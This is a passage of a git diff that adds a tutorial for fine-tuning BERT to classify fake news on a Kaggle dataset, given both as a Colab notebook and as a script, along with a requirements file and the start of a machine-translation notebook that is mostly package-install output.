+ " compute_metrics=compute_metrics, # the callback that computes metrics of interest\n",
+ ")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 1000
+ },
+ "id": "qFHApKa56rMC",
+ "outputId": "1327c322-4494-464d-fb1d-008f508cae00"
+ },
+ "outputs": [],
+ "source": [
+ "# train the model\n",
+ "trainer.train()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 200
+ },
+ "id": "kc8xZ9QQ6tpV",
+ "outputId": "5173af72-4acf-4491-fb70-04e22dc12082"
+ },
+ "outputs": [],
+ "source": [
+ "# evaluate the current model after training\n",
+ "trainer.evaluate()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "cFAyggnR6wtU",
+ "outputId": "6b4078a6-6d8e-4252-9cbd-0c90c4ab55a8"
+ },
+ "outputs": [],
+ "source": [
+ "# saving the fine tuned model & tokenizer\n",
+ "model_path = \"fake-news-bert-base-uncased\"\n",
+ "model.save_pretrained(model_path)\n",
+ "tokenizer.save_pretrained(model_path)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "EQ9LP_Ea6zjJ"
+ },
+ "outputs": [],
+ "source": [
+ "def get_prediction(text, convert_to_label=False):\n",
+ " # prepare our text into tokenized sequence\n",
+ " inputs = tokenizer(text, padding=True, truncation=True, max_length=max_length, return_tensors=\"pt\").to(\"cuda\")\n",
+ " # perform inference to our model\n",
+ " outputs = model(**inputs)\n",
+ " # get output probabilities by doing softmax\n",
+ " probs = outputs[0].softmax(1)\n",
+ " # executing argmax function to get the candidate label\n",
+ " d = {\n",
+ " 0: \"reliable\",\n",
+ " 1: \"fake\"\n",
+ " }\n",
+ " if convert_to_label:\n",
+ " return d[int(probs.argmax())]\n",
+ " else:\n",
+ " return int(probs.argmax())"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "iZudoyZCvKS0"
+ },
+ "outputs": [],
+ "source": [
+ "real_news = \"\"\"\n",
+ "Tim Tebow Will Attempt Another Comeback, This Time in Baseball - The New York Times\",Daniel Victor,\"If at first you don’t succeed, try a different sport. Tim Tebow, who was a Heisman quarterback at the University of Florida but was unable to hold an N. F. L. job, is pursuing a career in Major League Baseball. He will hold a workout for M. L. B. teams this month, his agents told ESPN and other news outlets. “This may sound like a publicity stunt, but nothing could be further from the truth,” said Brodie Van Wagenen, of CAA Baseball, part of the sports agency CAA Sports, in the statement. “I have seen Tim’s workouts, and people inside and outside the industry — scouts, executives, players and fans — will be impressed by his talent. ” It’s been over a decade since Tebow, 28, has played baseball full time, which means a comeback would be no easy task. But the former major league catcher Chad Moeller, who said in the statement that he had been training Tebow in Arizona, said he was “beyond impressed with Tim’s athleticism and swing. ” “I see bat speed and power and real baseball talent,” Moeller said. “I truly believe Tim has the skill set and potential to achieve his goal of playing in the major leagues and based on what I have seen over the past two months, it could happen relatively quickly. ” Or, take it from Gary Sheffield, the former outfielder. News of Tebow’s attempted comeback in baseball was greeted with skepticism on Twitter. As a junior at Nease High in Ponte Vedra, Fla. Tebow drew the attention of major league scouts, batting . 494 with four home runs as a left fielder. But he ditched the bat and glove in favor of pigskin, leading Florida to two national championships, in 2007 and 2009. Two former scouts for the Los Angeles Angels told WEEI, a Boston radio station, that Tebow had been under consideration as a high school junior. “’x80’x9cWe wanted to draft him, ’x80’x9cbut he never sent back his information card,” said one of the scouts, Tom Kotchman, referring to a questionnaire the team had sent him. “He had a strong arm and had a lot of power,” said the other scout, Stephen Hargett. “If he would have been there his senior year he definitely would have had a good chance to be drafted. ” “It was just easy for him,” Hargett added. “You thought, If this guy dedicated everything to baseball like he did to football how good could he be?” Tebow’s high school baseball coach, Greg Mullins, told The Sporting News in 2013 that he believed Tebow could have made the major leagues. “He was the leader of the team with his passion, his fire and his energy,” Mullins said. “He loved to play baseball, too. He just had a bigger fire for football. ” Tebow wouldn’t be the first athlete to switch from the N. F. L. to M. L. B. Bo Jackson had one season as a Kansas City Royal, and Deion Sanders played several years for the Atlanta Braves with mixed success. Though Michael Jordan tried to cross over to baseball from basketball as a in 1994, he did not fare as well playing one year for a Chicago White Sox minor league team. As a football player, Tebow was unable to match his college success in the pros. The Denver Broncos drafted him in the first round of the 2010 N. F. L. Draft, and he quickly developed a reputation for clutch performances, including a memorable pass against the Pittsburgh Steelers in the 2011 Wild Card round. But his stats and his passing form weren’t pretty, and he spent just two years in Denver before moving to the Jets in 2012, where he spent his last season on an N. F. L. roster. He was cut during preseason from the New England Patriots in 2013 and from the Philadelphia Eagles in 2015.\n",
+ "\"\"\""
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "jk6rLQ8oxIoW",
+ "outputId": "44932e8f-f02b-41a3-96c9-c69ada7bdaf2"
+ },
+ "outputs": [],
+ "source": [
+ "get_prediction(real_news, convert_to_label=True)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "mSi5cC-r_rMt"
+ },
+ "outputs": [],
+ "source": [
+ "# read the test set\n",
+ "test_df = pd.read_csv(\"test.csv\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 206
+ },
+ "id": "N69rpfDrAWiE",
+ "outputId": "62bdc6bd-00b0-46b0-e6e4-50a239dab299"
+ },
+ "outputs": [],
+ "source": [
+ "test_df.head()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "IV-Kmhn2AXTv"
+ },
+ "outputs": [],
+ "source": [
+ "# make a copy of the testing set\n",
+ "new_df = test_df.copy()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 337
+ },
+ "id": "-6czO_rAAyiy",
+ "outputId": "ba5b9b7d-15da-4c07-f8de-56401933fa24"
+ },
+ "outputs": [],
+ "source": [
+ "# add a new column that contains the author, title and article content\n",
+ "new_df[\"new_text\"] = new_df[\"author\"].astype(str) + \" : \" + new_df[\"title\"].astype(str) + \" - \" + new_df[\"text\"].astype(str)\n",
+ "new_df.head()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "AX37lgzOA7qd"
+ },
+ "outputs": [],
+ "source": [
+ "# get the prediction of all the test set\n",
+ "new_df[\"label\"] = new_df[\"new_text\"].apply(get_prediction)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "dxpNmc2UELdn"
+ },
+ "outputs": [],
+ "source": [
+ "# make the submission file\n",
+ "final_df = new_df[[\"id\", \"label\"]]\n",
+ "final_df.to_csv(\"submit_final.csv\", index=False)"
+ ]
+ }
+ ],
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diff --git a/machine-learning/nlp/fake-news-classification/fakenews_detection.py b/machine-learning/nlp/fake-news-classification/fakenews_detection.py
new file mode 100644
index 00000000..0f6de92a
--- /dev/null
+++ b/machine-learning/nlp/fake-news-classification/fakenews_detection.py
@@ -0,0 +1,362 @@
+# -*- coding: utf-8 -*-
+"""fakenews_seq_classification.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+ https://colab.research.google.com/drive/1e_3Zn4mPSYaMvRvLeOtA8AYXqOSbgkgc
+"""
+
+!pip install -q kaggle
+
+from google.colab import files
+
+files.upload()
+
+!rm -rf ~/.kaggle
+!mkdir ~/.kaggle
+!cp kaggle.json ~/.kaggle/
+
+!chmod 600 ~/.kaggle/kaggle.json
+
+!kaggle competitions download -c fake-news
+
+!unzip test.csv.zip
+!unzip train.csv.zip
+
+!pip install gdown
+
+# download from Google Drive
+!gdown "https://drive.google.com/uc?id=178f_VkNxccNidap-5-uffXUW475pAuPy&confirm=t"
+
+!unzip fake-news.zip
+
+### Import all library
+import pandas as pd
+import numpy as np
+import matplotlib.pyplot as plt
+import seaborn as sns
+
+import nltk
+nltk.download('stopwords')
+nltk.download('wordnet')
+
+# load the dataset
+news_d = pd.read_csv("train.csv")
+submit_test = pd.read_csv("test.csv")
+
+## Shape and colums of train dataset
+print(" Shape of News data :: ", news_d.shape)
+print(" News data columns", news_d.columns)
+
+## by using df.head(),We can immediately familiarize ourselves with the dataset.
+news_d.head()
+
+#Text Word startistics: min.mean, max and interquartile range
+
+txt_length = news_d.text.str.split().str.len()
+txt_length.describe()
+
+#Title statistics
+
+title_length = news_d.title.str.split().str.len()
+title_length.describe()
+
+sns.countplot(x="label", data=news_d);
+print("1: Unreliable")
+print("0: Reliable")
+print("Distribution of labels:")
+print(news_d.label.value_counts());
+
+print(round(news_d.label.value_counts(normalize=True),2)*100);
+
+# Constants that are used to sanitize the datasets
+column_n = ['id', 'title', 'author', 'text', 'label']
+remove_c = ['id','author']
+categorical_features = []
+target_col = ['label']
+text_f = ['title', 'text']
+
+# Clean Datasets
+import nltk
+from nltk.corpus import stopwords
+import re
+from nltk.stem.porter import PorterStemmer
+from collections import Counter
+
+ps = PorterStemmer()
+wnl = nltk.stem.WordNetLemmatizer()
+
+stop_words = stopwords.words('english')
+stopwords_dict = Counter(stop_words)
+
+# Removed unused clumns
+def remove_unused_c(df,column_n=remove_c):
+ df = df.drop(column_n,axis=1)
+ return df
+
+# Impute null values with None
+def null_process(feature_df):
+ for col in text_f:
+ feature_df.loc[feature_df[col].isnull(), col] = "None"
+ return feature_df
+
+def clean_dataset(df):
+ # remove unused column
+ df = remove_unused_c(df)
+ #impute null values
+ df = null_process(df)
+ return df
+
+# Cleaning text from unused characters
+def clean_text(text):
+ text = str(text).replace(r'http[\w:/\.]+', ' ') # removing urls
+ text = str(text).replace(r'[^\.\w\s]', ' ') # remove everything but characters and punctuation
+ text = str(text).replace('[^a-zA-Z]', ' ')
+ text = str(text).replace(r'\s\s+', ' ')
+ text = text.lower().strip()
+ #text = ' '.join(text)
+ return text
+
+## Nltk Preprocessing include:
+# Stop words, Stemming and Lemmetization
+# For our project we use only Stop word removal
+def nltk_preprocess(text):
+ text = clean_text(text)
+ wordlist = re.sub(r'[^\w\s]', '', text).split()
+ #text = ' '.join([word for word in wordlist if word not in stopwords_dict])
+ #text = [ps.stem(word) for word in wordlist if not word in stopwords_dict]
+ text = ' '.join([wnl.lemmatize(word) for word in wordlist if word not in stopwords_dict])
+ return text
+
+# Perform data cleaning on train and test dataset by calling clean_dataset function
+df = clean_dataset(news_d)
+# apply preprocessing on text through apply method by calling the function nltk_preprocess
+df["text"] = df.text.apply(nltk_preprocess)
+# apply preprocessing on title through apply method by calling the function nltk_preprocess
+df["title"] = df.title.apply(nltk_preprocess)
+
+# Dataset after cleaning and preprocessing step
+df.head()
+
+from wordcloud import WordCloud, STOPWORDS
+import matplotlib.pyplot as plt
+
+# initialize the word cloud
+wordcloud = WordCloud( background_color='black', width=800, height=600)
+# generate the word cloud by passing the corpus
+text_cloud = wordcloud.generate(' '.join(df['text']))
+# plotting the word cloud
+plt.figure(figsize=(20,30))
+plt.imshow(text_cloud)
+plt.axis('off')
+plt.show()
+
+true_n = ' '.join(df[df['label']==0]['text'])
+wc = wordcloud.generate(true_n)
+plt.figure(figsize=(20,30))
+plt.imshow(wc)
+plt.axis('off')
+plt.show()
+
+fake_n = ' '.join(df[df['label']==1]['text'])
+wc= wordcloud.generate(fake_n)
+plt.figure(figsize=(20,30))
+plt.imshow(wc)
+plt.axis('off')
+plt.show()
+
+def plot_top_ngrams(corpus, title, ylabel, xlabel="Number of Occurences", n=2):
+ """Utility function to plot top n-grams"""
+ true_b = (pd.Series(nltk.ngrams(corpus.split(), n)).value_counts())[:20]
+ true_b.sort_values().plot.barh(color='blue', width=.9, figsize=(12, 8))
+ plt.title(title)
+ plt.ylabel(ylabel)
+ plt.xlabel(xlabel)
+ plt.show()
+
+plot_top_ngrams(true_n, 'Top 20 Frequently Occuring True news Bigrams', "Bigram", n=2)
+
+plot_top_ngrams(fake_n, 'Top 20 Frequently Occuring Fake news Bigrams', "Bigram", n=2)
+
+plot_top_ngrams(true_n, 'Top 20 Frequently Occuring True news Trigrams', "Trigrams", n=3)
+
+plot_top_ngrams(fake_n, 'Top 20 Frequently Occuring Fake news Trigrams', "Trigrams", n=3)
+
+"""# Fine-tuning BERT"""
+
+!pip install transformers
+
+import torch
+from transformers.file_utils import is_tf_available, is_torch_available, is_torch_tpu_available
+from transformers import BertTokenizerFast, BertForSequenceClassification
+from transformers import Trainer, TrainingArguments
+import numpy as np
+from sklearn.model_selection import train_test_split
+
+import random
+
+def set_seed(seed: int):
+ """
+ Helper function for reproducible behavior to set the seed in ``random``, ``numpy``, ``torch`` and/or ``tf`` (if
+ installed).
+
+ Args:
+ seed (:obj:`int`): The seed to set.
+ """
+ random.seed(seed)
+ np.random.seed(seed)
+ if is_torch_available():
+ torch.manual_seed(seed)
+ torch.cuda.manual_seed_all(seed)
+ # ^^ safe to call this function even if cuda is not available
+ if is_tf_available():
+ import tensorflow as tf
+
+ tf.random.set_seed(seed)
+
+set_seed(1)
+
+# the model we gonna train, base uncased BERT
+# check text classification models here: https://huggingface.co/models?filter=text-classification
+model_name = "bert-base-uncased"
+# max sequence length for each document/sentence sample
+max_length = 512
+
+# load the tokenizer
+tokenizer = BertTokenizerFast.from_pretrained(model_name, do_lower_case=True)
+
+news_df = news_d[news_d['text'].notna()]
+news_df = news_df[news_df["author"].notna()]
+news_df = news_df[news_df["title"].notna()]
+
+def prepare_data(df, test_size=0.2, include_title=True, include_author=True):
+ texts = []
+ labels = []
+ for i in range(len(df)):
+ text = df["text"].iloc[i]
+ label = df["label"].iloc[i]
+ if include_title:
+ text = df["title"].iloc[i] + " - " + text
+ if include_author:
+ text = df["author"].iloc[i] + " : " + text
+ if text and label in [0, 1]:
+ texts.append(text)
+ labels.append(label)
+ return train_test_split(texts, labels, test_size=test_size)
+
+train_texts, valid_texts, train_labels, valid_labels = prepare_data(news_df)
+
+print(len(train_texts), len(train_labels))
+print(len(valid_texts), len(valid_labels))
+
+# tokenize the dataset, truncate when passed `max_length`,
+# and pad with 0's when less than `max_length`
+train_encodings = tokenizer(train_texts, truncation=True, padding=True, max_length=max_length)
+valid_encodings = tokenizer(valid_texts, truncation=True, padding=True, max_length=max_length)
+
+class NewsGroupsDataset(torch.utils.data.Dataset):
+ def __init__(self, encodings, labels):
+ self.encodings = encodings
+ self.labels = labels
+
+ def __getitem__(self, idx):
+ item = {k: torch.tensor(v[idx]) for k, v in self.encodings.items()}
+ item["labels"] = torch.tensor([self.labels[idx]])
+ return item
+
+ def __len__(self):
+ return len(self.labels)
+
+# convert our tokenized data into a torch Dataset
+train_dataset = NewsGroupsDataset(train_encodings, train_labels)
+valid_dataset = NewsGroupsDataset(valid_encodings, valid_labels)
+
+# load the model
+model = BertForSequenceClassification.from_pretrained(model_name, num_labels=2)
+
+from sklearn.metrics import accuracy_score
+
+def compute_metrics(pred):
+ labels = pred.label_ids
+ preds = pred.predictions.argmax(-1)
+ # calculate accuracy using sklearn's function
+ acc = accuracy_score(labels, preds)
+ return {
+ 'accuracy': acc,
+ }
+
+training_args = TrainingArguments(
+ output_dir='./results', # output directory
+ num_train_epochs=1, # total number of training epochs
+ per_device_train_batch_size=10, # batch size per device during training
+ per_device_eval_batch_size=20, # batch size for evaluation
+ warmup_steps=100, # number of warmup steps for learning rate scheduler
+ logging_dir='./logs', # directory for storing logs
+ load_best_model_at_end=True, # load the best model when finished training (default metric is loss)
+ # but you can specify `metric_for_best_model` argument to change to accuracy or other metric
+ logging_steps=200, # log & save weights each logging_steps
+ save_steps=200,
+ evaluation_strategy="steps", # evaluate each `logging_steps`
+)
+
+trainer = Trainer(
+ model=model, # the instantiated Transformers model to be trained
+ args=training_args, # training arguments, defined above
+ train_dataset=train_dataset, # training dataset
+ eval_dataset=valid_dataset, # evaluation dataset
+ compute_metrics=compute_metrics, # the callback that computes metrics of interest
+)
+
+# train the model
+trainer.train()
+
+# evaluate the current model after training
+trainer.evaluate()
+
+# saving the fine tuned model & tokenizer
+model_path = "fake-news-bert-base-uncased"
+model.save_pretrained(model_path)
+tokenizer.save_pretrained(model_path)
+
+def get_prediction(text, convert_to_label=False):
+ # prepare our text into tokenized sequence
+ inputs = tokenizer(text, padding=True, truncation=True, max_length=max_length, return_tensors="pt").to("cuda")
+ # perform inference to our model
+ outputs = model(**inputs)
+ # get output probabilities by doing softmax
+ probs = outputs[0].softmax(1)
+ # executing argmax function to get the candidate label
+ d = {
+ 0: "reliable",
+ 1: "fake"
+ }
+ if convert_to_label:
+ return d[int(probs.argmax())]
+ else:
+ return int(probs.argmax())
+
+real_news = """
+Tim Tebow Will Attempt Another Comeback, This Time in Baseball - The New York Times",Daniel Victor,"If at first you don’t succeed, try a different sport. Tim Tebow, who was a Heisman quarterback at the University of Florida but was unable to hold an N. F. L. job, is pursuing a career in Major League Baseball. He will hold a workout for M. L. B. teams this month, his agents told ESPN and other news outlets. “This may sound like a publicity stunt, but nothing could be further from the truth,” said Brodie Van Wagenen, of CAA Baseball, part of the sports agency CAA Sports, in the statement. “I have seen Tim’s workouts, and people inside and outside the industry — scouts, executives, players and fans — will be impressed by his talent. ” It’s been over a decade since Tebow, 28, has played baseball full time, which means a comeback would be no easy task. But the former major league catcher Chad Moeller, who said in the statement that he had been training Tebow in Arizona, said he was “beyond impressed with Tim’s athleticism and swing. ” “I see bat speed and power and real baseball talent,” Moeller said. “I truly believe Tim has the skill set and potential to achieve his goal of playing in the major leagues and based on what I have seen over the past two months, it could happen relatively quickly. ” Or, take it from Gary Sheffield, the former outfielder. News of Tebow’s attempted comeback in baseball was greeted with skepticism on Twitter. As a junior at Nease High in Ponte Vedra, Fla. Tebow drew the attention of major league scouts, batting . 494 with four home runs as a left fielder. But he ditched the bat and glove in favor of pigskin, leading Florida to two national championships, in 2007 and 2009. Two former scouts for the Los Angeles Angels told WEEI, a Boston radio station, that Tebow had been under consideration as a high school junior. “’x80’x9cWe wanted to draft him, ’x80’x9cbut he never sent back his information card,” said one of the scouts, Tom Kotchman, referring to a questionnaire the team had sent him. “He had a strong arm and had a lot of power,” said the other scout, Stephen Hargett. “If he would have been there his senior year he definitely would have had a good chance to be drafted. ” “It was just easy for him,” Hargett added. “You thought, If this guy dedicated everything to baseball like he did to football how good could he be?” Tebow’s high school baseball coach, Greg Mullins, told The Sporting News in 2013 that he believed Tebow could have made the major leagues. “He was the leader of the team with his passion, his fire and his energy,” Mullins said. “He loved to play baseball, too. He just had a bigger fire for football. ” Tebow wouldn’t be the first athlete to switch from the N. F. L. to M. L. B. Bo Jackson had one season as a Kansas City Royal, and Deion Sanders played several years for the Atlanta Braves with mixed success. Though Michael Jordan tried to cross over to baseball from basketball as a in 1994, he did not fare as well playing one year for a Chicago White Sox minor league team. As a football player, Tebow was unable to match his college success in the pros. The Denver Broncos drafted him in the first round of the 2010 N. F. L. Draft, and he quickly developed a reputation for clutch performances, including a memorable pass against the Pittsburgh Steelers in the 2011 Wild Card round. But his stats and his passing form weren’t pretty, and he spent just two years in Denver before moving to the Jets in 2012, where he spent his last season on an N. F. L. roster. He was cut during preseason from the New England Patriots in 2013 and from the Philadelphia Eagles in 2015.
+"""
+
+get_prediction(real_news, convert_to_label=True)
+
+# read the test set
+test_df = pd.read_csv("test.csv")
+
+test_df.head()
+
+# make a copy of the testing set
+new_df = test_df.copy()
+
+# add a new column that contains the author, title and article content
+new_df["new_text"] = new_df["author"].astype(str) + " : " + new_df["title"].astype(str) + " - " + new_df["text"].astype(str)
+new_df.head()
+
+# get the prediction of all the test set
+new_df["label"] = new_df["new_text"].apply(get_prediction)
+
+# make the submission file
+final_df = new_df[["id", "label"]]
+final_df.to_csv("submit_final.csv", index=False)
\ No newline at end of file
diff --git a/machine-learning/nlp/fake-news-classification/requirements.txt b/machine-learning/nlp/fake-news-classification/requirements.txt
new file mode 100644
index 00000000..1d23d4ae
--- /dev/null
+++ b/machine-learning/nlp/fake-news-classification/requirements.txt
@@ -0,0 +1,7 @@
+transformers
+nltk
+pandas
+numpy
+matplotlib
+seaborn
+wordcloud
\ No newline at end of file
diff --git a/machine-learning/nlp/machine-translation/MachineTranslation.ipynb b/machine-learning/nlp/machine-translation/MachineTranslation.ipynb
new file mode 100644
index 00000000..21d77480
--- /dev/null
+++ b/machine-learning/nlp/machine-translation/MachineTranslation.ipynb
@@ -0,0 +1,2610 @@
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+ "Collecting transformers==4.12.4\n",
+ " Downloading transformers-4.12.4-py3-none-any.whl (3.1 MB)\n",
+ "\u001b[K |████████████████████████████████| 3.1 MB 39.3 MB/s \n",
+ "\u001b[?25hCollecting sentencepiece\n",
+ " Downloading sentencepiece-0.1.96-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.2 MB)\n",
+ "\u001b[K |████████████████████████████████| 1.2 MB 53.1 MB/s \n",
+ "\u001b[?25hRequirement already satisfied: requests in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (2.23.0)\n",
+ "Collecting tokenizers<0.11,>=0.10.1\n",
+ " Downloading tokenizers-0.10.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl (3.3 MB)\n",
+ "\u001b[K |████████████████████████████████| 3.3 MB 40.9 MB/s \n",
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+ "Requirement already satisfied: importlib-metadata in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (4.8.2)\n",
+ "Collecting pyyaml>=5.1\n",
+ " Downloading PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl (596 kB)\n",
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+ "\u001b[?25hCollecting huggingface-hub<1.0,>=0.1.0\n",
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+ "Requirement already satisfied: numpy>=1.17 in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (1.19.5)\n",
+ "Collecting sacremoses\n",
+ " Downloading sacremoses-0.0.46-py3-none-any.whl (895 kB)\n",
+ "\u001b[K |████████████████████████████████| 895 kB 35.5 MB/s \n",
+ "\u001b[?25hRequirement already satisfied: filelock in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (3.3.2)\n",
+ "Requirement already satisfied: typing-extensions>=3.7.4.3 in /usr/local/lib/python3.7/dist-packages (from huggingface-hub<1.0,>=0.1.0->transformers==4.12.4) (3.10.0.2)\n",
+ "Requirement already satisfied: pyparsing<3,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from packaging>=20.0->transformers==4.12.4) (2.4.7)\n",
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+ "Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.12.4) (1.24.3)\n",
+ "Requirement already satisfied: joblib in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers==4.12.4) (1.1.0)\n",
+ "Requirement already satisfied: click in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers==4.12.4) (7.1.2)\n",
+ "Requirement already satisfied: six in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers==4.12.4) (1.15.0)\n",
+ "Installing collected packages: pyyaml, tokenizers, sacremoses, huggingface-hub, transformers, sentencepiece\n",
+ " Attempting uninstall: pyyaml\n",
+ " Found existing installation: PyYAML 3.13\n",
+ " Uninstalling PyYAML-3.13:\n",
+ " Successfully uninstalled PyYAML-3.13\n",
+ "Successfully installed huggingface-hub-0.1.2 pyyaml-6.0 sacremoses-0.0.46 sentencepiece-0.1.96 tokenizers-0.10.3 transformers-4.12.4\n"
+ ]
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "QHQAZ1rLmJ5S"
+ },
+ "source": [
+ "from transformers import *"
+ ],
+ "execution_count": 2,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 209,
+ "referenced_widgets": [
+ "8fdf3032d9214317a6f7459c5a6aa899",
+ "9647fbdcc4c3409bb60ee4aa08184c9a",
+ "3a97b74f252148768872481480df1d6d",
+ "93a6daec11184f35ac8aa21fb10d92a8",
+ "5a3fd6722aff493384f76c9a100093e5",
+ "f48db2ee49be467a8366fc632acf1132",
+ "cce00478fd014b4abf339430615b43e7",
+ "66bc4a903df64c5c80b36afb5a73303a",
+ "cda1d8c6c9f34d1787da7f836d0d796f",
+ "6905d5dab109461bad5fdf88f4956beb",
+ "da99d1ba45594c39ab373d83ab861e2e",
+ "2f957dbc765240d1ac58c0bdb4b64d9d",
+ "9daedae4de424ad7aa796c313d0500e2",
+ "2787103f35bf4c838d76c94afab87d9f",
+ "419ce161273e47329c7131fc321f41bc",
+ "10bf7989bbfa4d7298b66e20b842bbdb",
+ "cbb063f501bc4bc390caec21d548a13f",
+ "68691e2f527644ed946c8d4bbc5fb24b",
+ "e7d8d6f022b84065aa5de0c6a905e3d3",
+ "7783a63b374e4a42a549b841f0bfb7ea",
+ "cab62258200a4b63b618be516639b1ca",
+ "d65fa40a86b7439ba299224d55ad4c35",
+ "06cbeedd6aaa48729e6468585dfd841b",
+ "c82fe526735e492ab113e65b190e39f9",
+ "2df15105d5264771b8ad0f5eb7587f3c",
+ "c552329104e346b4889e055c8b581a3c",
+ "70e48bc5c828474aba0f06ecb318e061",
+ "5111fcaa6eaf47dd83f9f2f9ea79db57",
+ "c45d54d130b040489871a4bf5acfed2c",
+ "312ee383da1e4fe4a133bad9b364c3c0",
+ "1bba34dddcd8402290cd46a0718b67d7",
+ "16e49345f7384ecf8cd9bfd408f4f7dc",
+ "a06473eb59d64bfd96a98263296e2d75",
+ "a90f8f8132f047e8a69d1f6425bb5631",
+ "b7af650e9e7a429fbc0b72b0a2b86d9f",
+ "24e46b4c68f646cea183a68390f3af8c",
+ "0da6da23b2974ff9948536a3b34e4f55",
+ "fa58681afc7b4eca88dff0912cc62fe8",
+ "3ce811726f98442593d3a67e2ca1d548",
+ "0693368adfe349cd975f36ad98d13dea",
+ "c652754b90b2492fa3094e2201dc8bd6",
+ "443bbb852eb44a018995132f4538239a",
+ "d6a1f69cd7104f0081887a439a7deb96",
+ "0b66ebebbd2f41e08c3d764813971dce",
+ "e770bb0d629e4d94abb60203e8482f12",
+ "77815b9ee238491ebda08636307ee0da",
+ "e2acf510c8d841cb8ee025f2b8fe9cbe",
+ "e7cf4e18ebd24de0a939b514de23d143",
+ "556eb46d019e4ea2802be0dea572f88f",
+ "d806b0124be445b9ad9f4849c5b30dd4",
+ "f658e5f47ad544ba90e78f27c8fb098e",
+ "76e224f6a8474f2782aaed27a5a4df74",
+ "3937370dc31748a382f6e610585534d3",
+ "d481874811ca4585b3becf6acc12f71d",
+ "bf6ed5073ad2448e96463ea126d406c7",
+ "d8ca8a733c8c4742a213faf75d0d74dd",
+ "362c95c02cf34d1788ae73443d674782",
+ "1344a76df2f6425ead2bf254d5855846",
+ "295e356b56f8455a9d070c3200b901d5",
+ "fee238f6fd934cbfa41472196be2f014",
+ "8582a4473044420a9ce31630988bdd99",
+ "53789f8fbe274269be06bf2d1ce8ee08",
+ "71357c83f3d945638d4a3d2050c48bb4",
+ "5acc31388b644823a086bb033eb98c05",
+ "a90d42c930fb4fcc91a9045cbb21cda2",
+ "d79410065a6a480191b7e84384e6786a"
+ ]
+ },
+ "id": "Jqwu5kPwmLp1",
+ "outputId": "5f432092-f2b1-4e14-c6d7-3f29d22a8c33"
+ },
+ "source": [
+ "# source & destination languages\n",
+ "src = \"en\"\n",
+ "dst = \"de\"\n",
+ "\n",
+ "task_name = f\"translation_{src}_to_{dst}\"\n",
+ "model_name = f\"Helsinki-NLP/opus-mt-{src}-{dst}\"\n",
+ "\n",
+ "translator = pipeline(task_name, model=model_name, tokenizer=model_name)"
+ ],
+ "execution_count": 21,
+ "outputs": [
+ {
+ "output_type": "display_data",
+ "data": {
+ "application/vnd.jupyter.widget-view+json": {
+ "model_id": "8fdf3032d9214317a6f7459c5a6aa899",
+ "version_minor": 0,
+ "version_major": 2
+ },
+ "text/plain": [
+ "Downloading: 0%| | 0.00/1.30k [00:00, ?B/s]"
+ ]
+ },
+ "metadata": {}
+ },
+ {
+ "output_type": "display_data",
+ "data": {
+ "application/vnd.jupyter.widget-view+json": {
+ "model_id": "2f957dbc765240d1ac58c0bdb4b64d9d",
+ "version_minor": 0,
+ "version_major": 2
+ },
+ "text/plain": [
+ "Downloading: 0%| | 0.00/284M [00:00, ?B/s]"
+ ]
+ },
+ "metadata": {}
+ },
+ {
+ "output_type": "display_data",
+ "data": {
+ "application/vnd.jupyter.widget-view+json": {
+ "model_id": "06cbeedd6aaa48729e6468585dfd841b",
+ "version_minor": 0,
+ "version_major": 2
+ },
+ "text/plain": [
+ "Downloading: 0%| | 0.00/42.0 [00:00, ?B/s]"
+ ]
+ },
+ "metadata": {}
+ },
+ {
+ "output_type": "display_data",
+ "data": {
+ "application/vnd.jupyter.widget-view+json": {
+ "model_id": "a90f8f8132f047e8a69d1f6425bb5631",
+ "version_minor": 0,
+ "version_major": 2
+ },
+ "text/plain": [
+ "Downloading: 0%| | 0.00/750k [00:00, ?B/s]"
+ ]
+ },
+ "metadata": {}
+ },
+ {
+ "output_type": "display_data",
+ "data": {
+ "application/vnd.jupyter.widget-view+json": {
+ "model_id": "e770bb0d629e4d94abb60203e8482f12",
